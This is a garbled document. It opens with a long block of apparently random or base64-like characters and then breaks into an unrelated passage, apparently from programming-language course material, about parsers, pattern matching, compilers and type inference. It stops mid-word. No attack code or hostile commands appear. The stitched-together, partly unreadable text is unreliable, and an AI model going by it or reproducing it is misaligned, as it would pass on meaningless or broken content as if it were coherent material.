p1wOhqWqVSEx2dgE6nR61GaHulUkNiovKD9yK9dAaDgWvXrtOqVTtevUrEYEgpV0JsbLKQVqHQolRqhPpfv04Szr18mUhiooa2bVtRu3ZdypQpS716TTl48CAvXyYQG5ssXJepPVpUKm2q61ASEfGcuDgFGo1OOB4dHWeSXyo1E/6dlKQy+a1QqOjSpSdt23YAQK1WEx8fR3R0Amq1FrXaIKTVaHTExSVjZmZuUr7BYODBg/sULFiIFi3aMHXqBBQKLbVq1SM5WU9ysul1qNValEqjva9fG/eRxMYqASWJiUrUaq1Qf3y8glevEpHLzXj1yri3KSYmCb3eQJxWgkatRWOQkJSkQqvVcvbkKS6/eoWXVwlsbWywMBhwdXbB3sqaSm+W/Dm+jsHy5DGqV6+NNCKCEjVr0bjFD1y8eJ5x40ZiZWXNvHlLCQjYwNWrV5g5c55g+4sXEbi6ZmXFiiXExr5mwIDBtG3biqZNW1KmTFkKFSpC8+YN8PffRs6c7pQqVZgDB45hZmZGtWrlOXv2ChYWFuh0OmJiXiGXy9m+fSv3799lxIhx6PU6Hjx4wLhxI1i6dA06nU7wVBcR8ZwRIwYzdOgY9HodOp2egQN/pXXr9uzYsZVChYpQpUrVN/1dSWJiEjY2Nty8eYu8efNTpEgxdDodp0+fwdHRGa0W9uzZS5kyZcmVKy85cnhw/Hgw8fHJaLUGHB2zcPbsOW7evEGZMmW5du0Wz59HoFKpuHDhEiqVin37DqLX69Hrddy79xdSqZSwsDCSkpL5448FaLVawX69Xk9SUiKxsbH06dNXOK5QKPn5519QKo2upV++fIVOp0WnM+6p8vHxQaPRotfrcHd3f3MnJDx69AipVIZMJkUikTBgwECUSuUbYbfVZO9bREQEOp2Wc+fOc/bsOXQ6HebmloKgs7S0Zs+efYSGPkEuN+PWrTuczXoG8zAzkl8q2Lt3HxKpsR6pRIpao+Lxo0e4uWWjsnd1kpPTCuXU7xHxvf95SUhQcv78eerVq4+//7Zv9m/rpk0b2bhxHebmFt+kfSKfzrfa50T+nUilEpydbTM+/xVtEfkO2bdvD46Ojhw5cpIDB4I5cCCYvXuPoFAk8/p1jJAuZeJvaycAACAASURBVK29RqNGr9czceIYFiyYm26ZGa3x/xA6nY7lyxfj6OgkbGBPoVq1muzatV2Y2TlwYG+6X6plMhlarYbQ0FCSkhLp1+93atSozaVLF1Cr1UIsnPQoX74i58//SXR0FGD0SvbHH7NwcsrCixfPiYl5hcFg4NCh/R99Td7eVdmxY4sQy2XJkgWMGvX+ZTVeXiUICXnEw4cPADh27CijRg0BjN7uJBIp69evoU2bD3s6/Cfos2UHvY6EhHh27tyGQqnEzS0bP/7YhTJlyiGRSLCxsaWMrR2Hwp6S8GZmaOujh0hSgs9qtcZy3mBlZS3sPatQwZs//zxDSMhjwOidrE2bFqhUSiH9h+5jyv22tTXuR/Hz80UqlaJQKOjduxvnzv1JzZq1uHTpIhqNGhcXV86cOYFMJsPd3YPcufOQN68n+fMXwNMzH4mJCcTEvKREiVLEx8diZ2dHkybNadq0BTduXKVMmfLUqlWHu3fvcvjwQRo2bEKWLM6UK1eBli1b07p1W1xds1KlSjWyZnWjfPmKLFiwjDFjJmJhYYGNjQ19+/7Gb78NYtCgIbx69QpHR0dmz17AqFHjqF69FuXLV2TWrPlkyeJMvXoNmDlzHkOHjkKtVjF27ERGjhxJjhw5Wb58LatXb2Dt2o2sX7/pzVLSXTg5ZeH33wezffs+Bg4cisGgx9fXH1/fAMzNLVi9egMnTpxn2rTZmJmZc+zYWVavXk/u3Hm4evUuQUGnsLe3Y968xQQFnWT+/GVoNBoWL17B6NHjcXFxYcGCpSxduppSpcpQokQpFi9ejpmZOePGTWb06PE4ODhSvnwFfvmlHy1b+nD//j0qVapM06YtUCiSqVGjFtmyZUcaJcPCwoLs2XPiljUbri6uwqwygFanxc/Pl2PHgggNDUGn033RPi9ipEWLHzh9+hL+/ts+nDgTad/+R/bsOSy8U0RERES+BKIDCpH3smXLJjp16mbyldne3p4OHTrj57dOONa7d1/mzp1Ju3Y/CA4oMlprX6VKNebMMUa7b9as5XsdUPj5rWPfvj1IJBL0eh3FinmxaNHyNOl69OjN9OmT8PFpjq2tLVmyZMHSMq277nr1GtCzZ2dmz15A9eo1admyMebm5uTPXxBPz/yEhYViZpZ+sMcCBQoxcOAQwT28i4sr48dPIWtWN3x82tGxow8uLq5Ur16TW7duvqdV3/LDD23euHhvB0jInj27sLcrI5ydXZg6dRZjxw5Hq9Vha2vL9OlvhWuLFq04dOgABQsW+igbPg0De8Ke8vjJE2JkMrwqVMTm5g08PfOZbOK3sbEln1RG23wFaHv4AFZyOfkdHLCUy0CjAbkMbfES6daQL19+xoyZyLBhgwADMpmM+fOXmDihKFiwUIb30cMjl3C/585dyLRps9/0kWZoNBoaNmwiuGoeMGAwvXt3w8bGhmLF0rcHjN7GgoIOs2jRfCwtLZk9ewFyufyT7mOjRk04evQwrVo1Rq/XU716TeLi4khKSsTGxpYaNWozdepEunf/KU1eMzMz5s1bzMyZk1m2bBE6nY7evX+lfPlKPHiQcd9LyTdlyjgWLpxHoUKFyZLF+YPt7emZDwsLCzp1aouf32bmzFnA/PlzUatV6PV6pkyZSbFiXhQr5sWrVy8ZMWLwmzILMHbsRCwtrShRogRjx45gzRo/lixZxcyZUzh+PBitVsvvvw8WxL+VlRUrVy7jNa9xy+1GQlQChQsXEa5Bp9Nx9uxpypQpR9my5UlMTCQk5BHXr1/laHAQuTxykTdvPnLlym2y7FJERERERORL8ME9U+IyP5HvgYMH92FjY0u1ajXQ6/X873+/4e1dRVg+l1l87T6n1WoZNKgfEomEdu1+pHLlqp+1/L17d7Fs2WK0Wg1arYZmOTwY6eJCsyuX8KvbAHtzUyF65col7iXEo82WnS6FjAPiNXfvcP1VNAvzFUBTpSoqn4xn0JYuXcilSxdYvXqDcCwqKpLRo4exYoXvZ702gF27thMUdIiFC9MK9k9hwoQxtGnTjqJFi3+W8j6G7+09l1Eb9T/6Cx52udKkP3HyGA8fPqBH915IJBIenPgLdbKaYo28UCiSCQkJISTkEZFRL8iZwx07D3sG5h3CggVz052huHXrJjt3bk3jofSfkOJBtFgxr89W5j/h2bNwwfPpl+D8+ROsWLGK1as3oNPpmDNnBmfPnkKn09GlSw9BKIeGPmHChNHExr7GysqayZNnkDevJ2vWrODgwbcz+q9fx5CcnMSZM5fT1GX0qLoGjUZLpUreDB06ykQ0//XXPX79tRdBQae+yLX+HRISEhg0qB8rV657b7pBg/rj6urKiBFjuXjxPL16deXatXsEBwfx8OF9evfu+5Us/n743t5zIt83qZb5pbtnSlzmJ/KvIH/+AqxatYy2bVvi49MMV9esaQKA/tt59OghtWpVxmAwxmD6nEIqJiaGxYvnM23aRJKSEpgzZwHe3lVxKl8BiV7H7lp10wgpAHt7B2wUCi5FRdFk326a7tvNn5ERjCjqBQYDmqo13luvpaWVietkgKxZ3VCpVCaxaL5Vzp07k278J5G3/J02UqlU/PXXXcq+WUYKUKBGIYo1MooWKytrihYtRpMmzfmxYxfy5PEkIuIZw4YNJCLiGdu3byEmJsakzEePHhAZ+SJNXSKfxtatgYSGPmHr1j1s3LiFjRvXcfPmDQBGjhyCj087tm/fR58+/Rk8+HcMBgM9evQWYlutWrUeKysrZsyYl6bshw/vs3TpQlat2sCuXQdISIgXVkhotVo2bPClb9+fhGWgmU18fNwHVymsXbuKq1cvCb8tLa2EVRW1a9fl8uVL3LuX1jutiIjIt4O4zE/kX0H+/AVZty4gs83IVPLly8+pUxfo2/cn2rf/UTieUWyshQvnki1bDp48CcHKyooePXrh7+9HaGgIderUZ8iQEYSHhzF06EDu3r39Zq9aBZKSEoUv7gZ7e5Rdf6J4946ca9yc4zEvORL2FIlEQmhCAnKDgQaKZBY0bEKCWs3kyxe5//oVvU4eo0LV6vzu4ooc414xgL59fzO5pqJFi2EwpN3HVq1aDU6ePE6zZi3RarXMmDGZa9euIJfLyZnTg4kTp/L69WuTr/Hvfp1fvXo5e/bsRCaTkytXbmFZ3suX0fTr9zMvXjxHJpMzbdpsPD3zERn5gilTxvP8+TMMBuMS1W7demZY/+rVK4iOjmbkyCFMnjwDL6+SJtewY8dWNm/2R6834OjoyPDhY8idOw+//NKDIkWKMXDgEM6dO8vYsSMICNiGvb19hrHcPpUbN67xxx+z3zieiKZSpcqMHz8lTbqXL6OZPHk8T54YPToal7V2oWfPzjg4OPLkyWPq12/Ehg1rOXjwOHZ2dhgMBlq0aMisWfOZOXMKRYoU5erVK8TGvqZJk+b07fsbCxfOM2mjrFndhDZ+nviMhCrxFG1QnMSXiQTPPYzOUY91hDVPQ0NxNrjgUToXN3ZfQ5WoonzHirx68pKLG8+j1+qwdbUj6VUSBZsWpvesPowdO4LlyxczefI4zM3Nad26LQ0bNmPp0oUkJiYwduyIDy7NfPjwAdOnTyIuLhaJRELnzt1p2bIVOl1aMRgY6M/9+3+hVqvp0qU7LVu2BjJ+Hhct+gN3dw8ePnyAVqtl9OgJlC5d5r32pI5pl97v1BgMeiZMGM2dO7dNYqRpNBrmzJnOhQvnkEqleHmVZPDg4djYGGMENm/eigsXzvHiRQRNm7YQYvEtWbKA/fv34ODgSMGC+YV6goODaN26LXK5HHt7Bxo0aMz+/bvJmtWNJ08e07BhEwCqVq3OlCnjuXfvDkWKFBPyz5s3kypVqgvOjFJz7FgwNWrUJkuWLAC0bt2OmTOn0L37T9y9e4eHD+8zd+5CIcbcx9CzZ+d0+2ZqlEolHTv60K5dR9q168iOHVvZuHEdGzZsFjzYpse4cSNRqZS0bduSgIBtJsvlwXi/zp49hY9PeyGwd758+fD2riKkadWqNcuXL2bevEUffU0iIiJfF3FmSkTkX0R8fDxXrlwW/hi/LzbW7du36NGjF5s378TW1pbVq1ewaNEyAgK2s2nTRgYM6Evbti14/jycXbsOcuTIyXSFjfbNgE8aG4MkNpYLUZGMLVeBfU2aU8rVlSCl0WHE1Evn8ZLL2FWqLJsXLifGzIwNG3wBo4h6dwADULGiNz169E5zvFatukLw2hs3rnHp0gU2b95FQMB23N09uH//r/e20/HjwezevYP16zexbdsecubMyaZNGwEIDw9n6NCRbN26hzJlyrF+/RoARo4cTPnyFdm6dQ++vv7s37+bgwf3ZVh///4DcXV1ZerUWWmE1KVLF9izZydr1mwkMHAHXbv2ZNCgfkilUqZMmcnevbs4duwoY8eOYNq02Tg7u3wwltun4O+/nj59+uPnt5nt2/dy4kSwEMsqNVOnTiR37jzs3HmAdes2sW3bFp4+DQWMeyi3b9/HL7/0o3z5Suzf/3Zg7+joSKFChQF48uQJvr7+BARs5/DhA5w8eSxNG6Vu45L9yvDkfAhPLhgjdCS+TCSGV5ToXppSrcpwOfCiiY16nZ5TS49TonkpGo9rTqHaRXgdbpyFsrS0Ij4+ntmz53P27BUaNGjCwYP7+fXXn5DL5bi6ZhXiNmWEVqtlwIC+QmyvlSvXsnjxHzx+fA8XF1vs7CwxN387WLawsGTTpu0sW7aaBQvm8vDhg/c+j7du3aBz5+4EBu6gRYtWLFqUvgOfT0WpVFKpUmUCA3fw66+/M2TIADQaNStXLiU6OorAwJ1s3rwLvV7PvHmzhHwKRTJr127E1zeA9evX8OxZOMeOHSUo6DCBgTtYty6A+Ph4IX1kZATZsmUTfru5ZSMyMpLISKMnTmmq2HQp51J49Oghx44FpfsueF/ZYHTMM2HCVFxcXP9226TXN1NjaWnJjBlzWLp0AadOnWDRoj+YPXv+e4UUIMRX27x5ZxohFRUVyaxZU5k6dZZJm1hb25gIJ2/vKpw5cxKlUomIiMi3iTgzJSLyLyIsLBRXV1fBicaFC3/i7V2VbG885nXq1BUwDnRz5HCncOGiALi7e2Bra8fVq1fw9V31xg12LpydXciSxZlcuXID0LJla/z9N6RTMyh+H4zOby3FX0SQ41UMxMVTwsKS6wYDmocPOfYsnOuOjgTqdBhmTDbxyvd3yZcvP+Hh4ahUKvLnL4hUKqNTp7ZUrlyVOnXq4+VVgmfPwjPMf/78WerVa4i9vQMAgwePAIx7pooX9xKut1ChwgQHG71XXrt2laVLjcLKzs6OZs1acfr0SYYOHZVu/e/j1KkThIWF0rXr2z198fHxxMXF4uqalbFjJzJgwK/06dNf8Fx58uRxEhLiOXfuLABarQYnpyyf2IJGJk2azqlTJ1m1ahlPnoSgVKpITk5Ot70GDBgsXHvqmY/SpcsK/27XriN//DGbdu06snVrIG3avL0+H592mJmZYWZmRr16DTl79jTVq9cSzr/bxnIrOZ7e+Yi4/QwXT1eQgNRFSvHiXiTHJKFOUpnYGPvMGHA7h5cxEKxb4Ww45nAUzru7ewiitmnTZty+fYOAgG3Mnz+XoKBDdOrUFje3bNSpU586derh6ZnPpPzQ0CeoVCrq1KmPTCYlX75cNGnShOPHj1OuXDksLOSYm8uRSIzr6zt27AgYl6V6e1fhwoU/0el0GT6P2bPnEBxtFClSlN27d3zg7v097OzsadCgMfB2CXBISAhnzpyiX78Bwr6jDh06MXBgPyFfzZp1jO3p5kaWLM7ExcVy/vxZ6tSph42NcVa0ffv2LFu2AjDGV0vtSdVgMCCVStMcT30uhY0b19Gu3Y8mAXlTk17ZMtk//yb8ob4JRgdEP//8K7/99guTJk0nTx7PT65Po9EwYsT/GDx4BK6uWd+b1sHBEXNzCyIinpM376fXKSIi8uUQxZSIyL8Io9fDt7NHMpnMZPCREhsLwPzNHiedTkdY2FMePLjP0aOH6dq1J7dv36Jlyx/YujXQZD+LTJbxK0Of1Q1NuYrIX71C2akL0hcRGM6fI/HBXzysURPdvdvMXO4rDFLj4+MzDLT6MVSs6M3582epXr0Wmzfv5Nq1K1y4cI5hwwbStWtPqlWrYWK7VqvJsF3i4+NJSDB+XU/tjVAikWAwGNDr9Wn29RgMerRaLfb29unW365dx4zbSq+jSZMWgkDR6/VER0cJ4u7Ro4c4O7tw8+Z1kzxDh45KE8vtY4mKiqRfv5+F34sWLed///uNAgUKUqVKNerXb8TNm9fT3b8kk8lN2is8PAxHRycArK3f7mmrVKkySqWC8+f/5MqVS0yaND1VGW+/zOv1eqRS0y/16bexAb1OT1xcLAaJgXLlK74ZfKftN1KplHdNl0jfppPLU3v2k2AwgJmZOQUKFCQ0NIR58xZz9epljh49zM8/d8fc3AyFQomdnR0WFpZMmTJDaANLSzPBZo3G2K8kEgkpTSSRSLC1tcLFxRaNRodEgiBWMnoeLSws09j3LkuWLOD4cWPw2Zo1a1OhQiWTNkuxJT3eFR16vR65XI5erzOxSa/XmzwrFhYWJvlS6ktdb+pnJnv2HEL4CIDo6Cjc3LK9OR6NwWAQ6ks5B8b30NGjh9/rbj179hxERZmWnTVrtgzTv0t6zwB8uG+mkPJc3rhxnaZNW6Q5P2HCaG7fNs7stmnTPsN9q3fu3CI8PJzZs43Px6tXL9HrdajVasaNm5wmvVwuMxGdIiIi3xbi0yki8i/C3T0Xr169QqUyfrXPKDYWGMXAtm2badWqMffu3aV06bJs376PVq18hEFhlSrVOXLkIPHx8ej1evbu3fVhI2QytBW9Ubf4AU3FSiQ7OHLL0QnvylXx8/PFYDCgVqsZMKCvsLTuU6hVqw7Hjh3l5Mlj9O7djZIlS9OnT3+aNm3B7ds3sbOzR6vV8OjRQwAOHNgn5K1YsTJHjx4R4nstW7YIPz/fDOuysTHGqQoMNNqbkJDA3r27qFSpcob1Q8Yx1by9q3Lw4D7hvmzZsonevbsBcPPmDfz9N7Bx41YSExPZuHG9kOdjY7mlR9asbsIm/82bd2JpacXt2zcZMGAwderUJzLyBWFhT9ONtVaxoje7dm0Xrr137248ffokTTqJRELbth2ZMGE0jRo1MRmI79u3G71eT3x8HIcPH6RGjVombfRuG2sVWkLOPSZbkRxcuHAOgGLFiqWpMwX77A7I5FKe33oGwMuQl8Q+i4UPCPaU+uVyOeXLV2T48DEcOnScadPm0LRpC7RaLcnJSezatQO9Xs+RI4ewtJQTGRnJ/v37qVatGiEhIWkcW2zdugWJREJ0dCTnzp2lQYM61K5dgwsX/uTly+g3ad4+jx9D376/Cfevb9/f/laMu9jYWGH52okTwVhaWpIrV24qV67Gli0BaDQa9Ho9gYH+VKxY+b12vPte2Lp1q3CuZs3a7Ny5Da1WS3x8PIcO7adWrTq4uWUjV65cgo1nz55CKpVSoEBBAB48uI+9vQM5c7qnWydAjRq1OXEiWLjebds2U6tWnY9uv3efgZRwHBn1zdQcPXqYCxfOsXnzLv788wzBwUFp0owbN1kou02b9oJYffcjQcmSpTl06LiQ1senHfXrN0pXSCUkJKBSqcmePcdHX6eIiMjXRZyZEhH5F2Fvb0+ZMmW5ePE8VatWTzc21pAhI/Hz8yU09AnBwUGMHTuJI0cO4ujolObrZ7VqNXj48D4//uiDnZ09hQoVNgnW/DFYWVkRHv6UYcNGM3PmFHx8mqPVaqhYsTLduhk3imfkgCI1W7Zs4s6dW8KAo2TJ0kydOoHRoydw+vQpfHyaYW1tjZ2dA2PHTsTOzo7ffx9Mv369cXLKQr16DU2u6/Hjh3TrZlyGlhIPKSjocIb1T506i2nTJrFr13Y0Gg2NGjWlRYsf0Ov16dYPULt2PUaNGsrIkeNQq9Vs2bKJxYtXULlyVbp1+4lffumJVGoMbjxnzkKSk5MYMeJ/DBs2Cjc3NyZOnEanTm0oW7bc34rl9jHY29vTo0dv2rf/ASsra9zc3ChVqgxhYaFUrOhtknbEiDFMmTKeNm2ao9cbva9l5O69WbOWzJ07Ax+fdibHVSoVnTq1ISkpibZtOwh1pG6j1G38Iv4FWUo5E58jnsj7L3CQOvAsySiUlEkK9AY9YQlPiVfHodFoeJYcToEuhbi89QIXtxqwcrXCzM4MZzuX97aDl1dJli1bzKBB/Zk7dyFgnOUqUaIUJUqUYuDAIfz1112OHj2ChYUFkyaNZdWqJej1egYMGEDx4sU5efIk8fHxODo64uzsjMFgQKVS0aBBAzQaDZMmTSJfPuOM7OjRo+nfvzcGA7i4uDB+/BRCQkL+/g3EuNz1Y2PcZRQjrVevPm/6VSt0Oi3Fi5dg2LDR76333fdCyZJevHhh/DDQpk0HwsLCaNu2JRqNBh+ftpQrVwGAadPmMHHiGFauXIaFhTmzZv0hvHOePg0lR46caeo6fjxYeG4KFixE79596dWrG1qtBi+vknTv3uuT2i41GfXNFF68iGDy5PEsWLCULFmyMGnSNAYO7EexYsWFmbX0cHFxpXhxL1q3bsqaNX7CbO7f4c8/z1C9ek1hJYGIiMi3hxhnSkTkC5IZfe7atSusWrU8TXDjqKhINm5cz86dW6lSpTrduv30hQP7GtmxY2uaJV8iX47Mfs8dPLiPPXt2snjxSuFYz56dad/+RxNB+zEYDAbatGlOVFQkQUGnPzignDt3Jl279sDZ2YUXLyJo27Yle/cewd7e/pOuJT3U6mTc3FyQy41LwR4+fEhISAiVKlXCzs6OwMBAvLy8KFq06AfL0usNSCSg0+lRKjWoVNrv8u9tZve5f8Kn9s2vRa9eXRkyZORXeVd/T3zPfU7k++NDcabEmSkRkX8ZpUqVIU+ePJw5c4oqVarx5Mlj1q1bw9GjR2jSpBn+/tveu5Tmc+Pu7vHZN9OLfJv07NmZ169f88cfiz9LecHBR4iIiKBv3/4f9WU+R44c9O7dHblcjsFgYNy4SZ9VSAFky+Yq7D8y7nWLJjo6mr179yKXy3FycsLBwYHo6Gji4uJwdXXFwcGB5ORk1Go1jo6Owr4h6Zs9XXK5DBsbKTY2Fuh0BlQqo7DS6dIuuRT57xAcfITSpcuKQkpE5BtHnJkSEfmCZGafu3nz+puAkJdp27YD7dt3wsnp7y8z+ae8eBFB585tOXLk1Fev+7/Iv+U9p9FoaN68AcnJSRw6dAJLS8sPZ/rCyGQSnJxsBAcKcXFxXLt2jZIlS2JmZsb27dupXLkyLi4u7NixA6lUioWFBcWLF8fCwoJHjx5Rp04dE4cN6ZHyd1mvN6BUalCrtWi1366w+rf0OZHvB7HPiXxNxJkpEZH/EAaDgTNnTuHru4pnz8Lp3LkbU6bMwMrK+sOZvxCurlmJi4tDoVB8MC6LiEgKO3duQ6VS0aPHz9+EkAKj1zeD4a1PC1tbWwoVKoSZmRk2Nja4ubmhUqm4c+cOTk5OVKtWjdOnTxMREYG7uzsODg6Ehoby4sULChUqhIuLcT/X3bt3KVy4sCDSUv4vk0mwtjbHysocMKBUalGpNN+0sBIRERH5ryGKKRGRfwFarZZDhw6wbt0qDAYD3br9RP36jQR3zJmJTCYjR46cPHsWRv78BTPbHJHvgOTkJJYsmY9Op6dt2/aZbY6AVqszcQ4ok8lMgsgWKVKE2NhYsmbNSkJCAgqFgvz586PX61EoFNjY2GBjY0NCQgIHDhygdOnSqFQqrl69SpEiRdKt863LdQlWVmaCW/aUpYAaje4LXrGIiIiIyIcQxZSIyHeMQqFg165trFu3hhw5ctC//yCqVq3+j+I3fQnc3XMRFiaKKZGPY8MGXywtrfDxaZeps6rvotcbSE5WY21t3L/17nPm4eGBh4cHBoMBpVLJjRs3yJ49OzY2NkRFRREXF4darcbb25uNGzfi5OTElStXyJYtG+Hh4SiVSqytrcmRI3032KljWVlammFhYRRWarUWpVIjCisRERGRTEAUUyIi3yGxsa8JDPQnMNCfkiVLM2PGXEqUKJXZZmWIh4cH4eFPM9sMke+AmJhX+Pn5IpFIadfux8w2Jw3JyWqUSo0gZmQy06V5Kf8uVqyYEBfLGCtIhUwm4+HDh+h0OvR6PTlz5iQ4OJjOnTsTEGCM9aTT6ShatCgVKlTg5cuXuLq6cv/+fWxsbMiZM6dJHSlVWljIMTeXI5GkCCstanXa+GYiIiIiIp8fUUyJiHxHPH/+jA0bfNm3bze1a9dl9eoN5M3rmdlmfRB391yEhj7JbDNEvgOWL1+Mq2tWGjRojK2tbWabky4pM1TJyWqkUgkWFnIsLc2QyaQYDAhe+lKws7OjeHFjXK5nz55x+/ZtChYsSExMDFqtltjYWCIjI+nWrRv3798nIiKCK1euEB4ejkwm49atW3Ts2PFN3XqkUikqlUoIipxaWJmbyzEzeyusVCqjsMrY15SIiIiIyD9BFFMiIt8BDx78ha/vak6fPkGLFq3ZsmU3bm5umW3WR+Ph4cGZMycz2wyRb5zQ0Cfs378HiURChw6dM9ucj0KvN6BQaFAoNEilEszNjcJKLk9fWOXMmVOYYUpMTKR48eJER0dTuHBhnj9/Ts6cOUlISODVq1e0aNGCmJgYwsPDyZUrF2AMKGwwGNi8eTO5c+fG29vbZG+k6YyVmSCsNBqd4BlQFFYiIiIinw9RTImIfKMYDAauXr3MmjUruXfvDh06dGLYsNGfPW7O1yBlz5SIyPtYtOgPPDxyU7ly1e+yn6e4MlcqNUgkxhkrCws5ZmaydIWVra0t5cuXB8DR0ZGrV6+SmJhIqVKluHv3LvHx8YSGhpI3b14hT0xMDCEhIdjZ2REaGkr16tXR5TxAyAAAIABJREFU6/Xs2LGDFi1aCG7X341lZW4uRy6XIZGAUqklMVH5lVpFRERE5N+NKKZERL4x9Ho9J04cY+3albx+HUPXrj2YM2eBsKTneyRnTndevHiOVqv9YIwdkf8mN2/e4MqVS6jVan78sWtmm/OPMTqhSBFWCDNWGQkrV1dX6tevL/y2sbHh7NmzXL16lTZt2gjHT50yxmsrXbo0jx49AuDBgwcAyOVykpOTsba2NtnD9a6wsrCQo9HIUanEfVUiIiIi/xRxVCMi8o2g0ajZt28P69atxsrKim7delGnTj1kMllmm/aPsbCwIEsWZyIjX5Azp3tmmyPyjWEwGPjjj1l4euajWDGvTAku/SUxGECl0grixSisjE4jUuJWvesZsHTp0gCUL18eZ2dnAA4dOoRGo8Hc3JyrV68SEhKCt7c3YWFh5MiRgytXrvDXX3/h6OhImTJlcHV1RSqVIpFI0Gg0qNVqbGxskEolWFmZi2JKRERE5DMgiikRkUwmMTGRbdsC2bhxPZ6e+Rg+fAwVKlT65tyb/1Pc3T0IDw8TxZRIGk6dOkF0dBSxsa+ZMWNuZpvzxVGr33rbMzeXYWFhhoVF+sLK2dlZmFmqUqUKFhYWmJmZkZCQwKZNm1AoFISHh+Pl5UVISAgODg48f/6cAgUKcP36daKioqhfvz7Xr1/HxsaGypUrA6DTiYF/RURERD4HopgSEckkXr16ycaN69m+fTMVK1Zm/vwlFClSLLPN+mJ4eOQiLOwpFSt6Z7YpIpmImZkMa2tzzMxkaDQ6EhOVLFgwh7x58+Hu7kGWLM6ZbeJXRa3WoVbrSEgwtk2KsIK3wipFXKV4NzQYDNja2tKwYUPu37+Pvb09uXPnJioqikaNGnH//n0MBgOhoaHUq1cPuVzOvXv3qFSpEmDc2yXOSomIiIh8HkQxJSLylXn6NJT169dw6NABGjZswoYNm/HwyJXZZn1xcuY0zkyJ/HeRSCTY21uZOEWws7PA19eX6dOn07Vrj0y2MHPRaHRvBGaKsJK/EVYSkxmrlP+nBAnW6/UkJSWh1Wrx9/enSJEimJub4+joSJ48eYiPj8fR0ZFy5coJdYlxqEREREQ+D6KYEhH5Sty5c4u1a1dx8eI5fHzas2vXgf/UV3gPDw+Cgg5lthkimYiNjTnvrl41MzMjb948LFgwH5lMTlKSWhzok1pYqZDLpW+ElZng+jz1UkCpVIqdnR3NmjVDqVRiMBi4c+eO4AXw2rVruLm5IZFIMBgMnDv3J3PmzKNu3frUqlUXZ2eXzLpMERERke8eUUyJiHxBjAOXs6xdu5InT0Lo1Kkr48dPxsbm2wxG+iUR3aP/t5FIJFhamgkiIGUfUAop3irt7CzR6fTExSWL8ZDeoNXq0WrVJCWpkcmkQpDglBm+1O1oaWkJQNmyZYVjer0eS0tL9Ho9IKFgwaL88ENbgoMP88cfcyhUqBC1a9enTp16ZMuW/fNfQFIS8ls3kL6IQJKcjMHaGn227GiLlwAbm89fn4iIiMhXRBRTIiJfAJ1OR1DQYfz81pCUlEzXrj1p3LgpZmbmmW1apuHh4UF4+NM0g2iR/wbW1mYmv1P6gF6vRyqVCselUgkSiRRLS3MUCvVXtfF7QKfTk5ysJjn5rbCysDBDJksrrFKoWbOm8NwZDAZARv36DalfvyEqlYpz584QFHSYFSsW4+GRmzp16lO3bv1/vPxYGvEcs9MnMTt7GrQ6MJNjkMmQ6HSg0YJchqZKVTRVqqPPnuMf1SUiIiKSWYhiSkTkM6JUKtm9ewfr16/B2dmFQYMGUbJkRZPB4n8VBwdHpFIZr1+/JkuWLJltjshXRCIBKytzJBIJCoWC3bt3A1C3bl3B7bdpemPAW1FMvZ/UwkoqlQgzVjKZNE0sqxQhpdHoTGb8LCwsqFGjNjVq1Eaj0XDp0gWOHj1M164dcHFxoU6d+tSpU598+fL/rY8g8qtXsFy3CqQy9C6uYPZWTAvVazSYnTmN2emTKLv+hLZ0mX/YIiIiIiJfH4kh43UUeYCQV68S0ev/HWstXF3tiI5OyGwzRP6FxMfHERgYwKZNfhQrVpzu3XtRunRZsc+9Q8eOrRk+fAwlSpTKbFP+tXyLfc7a2hxra3NhMP78+XNOnDiBSqXC09MTR0dHihYtKgR0Tgl4m5ioykyzv1ukUokQJFgul6YSTwZiYxUf5RZdp9Nx7doVjh49QnDwESwtLaldux5169anSJFiJsLq3T4nv3oFq1XL0GV1AyurDxusUCCLikTx0y+ioBL5KL7F95zIvxepVIKzsy1AXuDJu+fFmSkRkX9AZOQL/Px82bVrB9Wr12T58jXkz18ws836ZknZNyWKqf8OEgkmQgogLCyM1q1bo9PpOHr0KElJSZQoUcIkn0Kh+dqm/mvQ641iVKnUIJFIMDOTIZHwt9yhy2QyypYtT9my5RkyZAS3bt3k6NHDDBs2CJ1OR5069ahTp36aZ1ka8RzLdas+XkgBWFmhy+qG5brVJGfPjv5L7NsSERER+UKIYkpE5BN4/PgR69at5tixozRr1pLAwB1kF9f8fxBj4N6nmW2GyFfEyspcCEYL8PLlS86dO0eePHlwc3OjadOmbxwjGDEYDKjVWjGo7GcipT3/CRKJBC+vEnh5leD33//Hgwf3CQo6xKRJ44iPj6Vx48ZUqVKLMmXKYXP6JEhlHy+kUrCyglgJZqdPoPJp/4/sFREREfmaiGJKRORvcO3aFXx9V3HjxnXat/+RPXsO4eDgmNlmfTd4eOTiypVLmW3Gf4ZSpQqTP38BpFIZEokEpVKBjY0to0aNo1gxr/fm7dmzM+3b/0i9eg0zTPPsWThz585gzpyF6Z5P2SuVeu+Oo6Mj4eHh9OzZky5dulC3bl2cnJxM8iUlpd0r9TH2vEtCQgKDBvVj5cp1H0x748Y1FiyYS1xcLHq9gWzZsjFw4FDy5y8AGJe9+fuv58CBvWi1OrRaDdWr16Jv398wNzdn167tBAUdYuHC5Sbl9u//M3XrNqBFix/o2bMzERHPsbW1AwxoNBoaNmzCzz//apJnzpzpBARsZN++I7i5Zfug7c+ehdOsWf13ZsUNdOzYhZYtW6d7XqFIJmtWNyZMmIq7uwcAMTExLFw4j0uXzmNlZYVEIqVRo6Z07twNmUwGGB2GnD9/ltOnTyCTybCwsOTevXucP3+B+IjntFSrWadW42Fnb2JjIUcnZlWuCsDKO7fY8yQEA6A3GKiWPQeDSpbG3MUVszOnWRYTw4Ggw4ABnU5PlSpV6d9/IGZm5ixdupDNmwPYsmUXLi6uQvmtWzdj+PDRlC9fUTj2v//15/Llixw4cAyrVOKuUaPavH79muDg01hbv/UmuGvXdsaNG8msWX9Qr17Dd+7XW3r1+oV69RoSHR3FrFnTePz44Zt9fpb07PkztWrVAWDMmOHkz1+Arl17MmbMcPbs2cnKlb6UL1/J5N41bVqPtm07MGLEWJN+lFGfSk1GfWXMmOGcO3cWJyfj/lSDQU9ycjI+Pu3p3v0n4O0zZWdnz9y5MwFjMHm9Xoerq9ubNL2ZO3cm3bv3on37H4Xy//rrHj17dmbtWj8KFCiUoX0Au3fvYOvWTSiVKrRaDaVKlWHAgCHY29u/N9+n8L53UkxMDJMnjyMsLBSdTkfVqjUYMGCwuKdZ5B8jiikRkQ9gMBg4deoEa9euJDLyBV269GDatDkmf5xFPg53dw92796R2Wb8p1i5cr2JWFm3bjUzZkxm/frAf1z28+fPePLkSYbnLS1NvVe+fPmS4OBgLCwscHd3J1++fOh0OhN36Wq17rPNSsXHx3Hr1s0PplOr1fz22y8sXbqaIkWKAbBv32769evNvn